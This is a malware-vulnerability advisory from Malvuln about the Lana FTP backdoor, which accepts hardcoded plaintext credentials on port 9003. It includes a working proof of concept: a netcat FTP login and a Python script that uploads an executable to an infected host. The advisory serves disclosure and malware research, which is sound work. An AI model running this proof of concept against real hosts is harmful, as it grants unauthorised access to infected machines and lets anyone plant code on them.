Backdoor.Win32.FTP.Lana.01.d / Weak Hardcoded Credentials

2022.04.07
us malvuln (US) us
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/ea9ab5983a6fa71e31907e74d4ddbab6.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.FTP.Lana.01.d Vulnerability: Weak Hardcoded Credentials Family: Lana Type: PE32 MD5: ea9ab5983a6fa71e31907e74d4ddbab6 Vuln ID: MVID-2022-0539 Dropped files: sersvc32.exe Disclosure: 04/06/2022 Description: The malware listens in TCP port 9003. The credentials "admin" and "secret" are weak and stored in plaintext with the executable. 00404004 aAdmin db 'admin',0 ; DATA XREF 00401FBF 00404004 ; sub_402765+4A3↑o 00404019 aSecret db 'secret',0 ; DATA XREF 00401FA8 Exploit/PoC: nc64.exe x.x.x.x 9003 220 Silver FTP v1.1 USER admin 331 Password required for admin. PASS secret 230 User logged in, proceed. SYST 215 UNIX Type: L8 PASV 227 Entering Passive Mode (192,168,18,125,195,84). STOR DOOM.exe 150 Data connection accepted. 226 Transfer ok from socket import * MALWARE_HOST="192.168.18.125" PORT=50004 DOOM="DOOM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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